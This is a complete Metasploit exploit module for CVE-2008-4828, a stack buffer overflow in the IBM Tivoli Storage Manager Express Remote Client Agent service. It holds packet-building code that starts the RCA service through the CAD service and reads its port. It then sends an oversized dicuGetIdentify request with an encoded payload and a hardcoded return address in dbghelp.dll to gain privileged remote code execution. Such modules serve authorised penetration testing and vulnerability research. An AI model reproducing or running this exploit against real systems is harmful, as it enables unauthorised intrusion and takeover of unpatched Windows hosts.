##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote
          Client Agent service. By sending a "dicuGetIdentify" request packet containing a long
          NodeName parameter, an attacker can execute arbitrary code.

          NOTE: this exploit first connects to the CAD service to start the RCA service and obtain
          the port number on which it runs. This service does not restart.
        },
        'Author' => [ 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-4828' ],
          [ 'OSVDB', '54232' ],
          [ 'BID', '34803' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Privileged' => true,
        'Payload' => {
          # wchar_t buf[1024];
          'Space' => ((1024 * 2) + 4),
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          # this target should be pretty universal..
          # dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
          [ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-11-04',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([ Opt::RPORT(1582) ])
  end

  def make_tsm_packet(op, data)
    pkt = ""
    if op > 0xff
      pkt << [0, 8, 0xa5, op, 0xc + data.length].pack('nCCNN')
    else
      pkt << [data.length, op, 0xa5].pack('nCC')
    end
    pkt << data
  end

  def explode_tsm_packet(buf)
    return nil if buf.length < 4

    len, op, magic = buf[0, 4].unpack('nCC')
    return nil if magic != 0xa5

    if op == 0x08
      return nil if buf.length < 12

      op, len = buf[4, 8].unpack('NN')
      data = buf[12, len]
    else
      data = buf[4, len]
    end

    return op, data
  end

  def extract_port(buf)
    op, data = explode_tsm_packet(buf)
    if op != 0x10300
      print_error("Invalid response verb from CAD service: 0x%x" % op)
      return nil
    end
    if data.length < 6
      print_error("Insufficient data from CAD service.")
      return nil
    end
    port_str_len = data[4, 2].unpack('n')[0]
    if data.length < (24 + port_str_len)
      print_error("Insufficient data from CAD service.")
      return nil
    end
    data[24, port_str_len].unpack('n*').pack('C*').to_i
  end

  def exploit
    print_status("Trying target %s..." % target.name)

    # first get the port number
    query = [1].pack('n')
    query << "\x00" * 10
    data = make_tsm_packet(0x10200, query)

    connect
    print_status("Attempting to start the RCA service via the CAD service...")
    sock.put(data)
    buf = sock.get_once(-1, 10)
    disconnect

    rca_port = extract_port(buf)
    if not rca_port or rca_port == 0
      print_error("The RCA agent service was not started :(")
    else
      print_status("RCA Agent is now running on port %u" % rca_port)
    end

    # trigger the vulnerability
    copy_len = payload_space + 4
    sploit = rand_text(33)
    # start offset, length
    sploit[10, 4] = [0, copy_len].pack('n*')
    # data to copy
    buf = payload.encoded
    # we need this special encoding to make it work..
    buf << [target.ret].pack('V').unpack('v*').pack('n*')
    # adjustment :)
    sploit << buf
    data = make_tsm_packet(0x10400, sploit)

    connect(true, { 'RPORT' => rca_port })
    print_status("Sending specially crafted dicuGetIdentifyRequest packet...")
    sock.write(data)

    print_status("Starting handler...")
    handler
    disconnect
  end
end
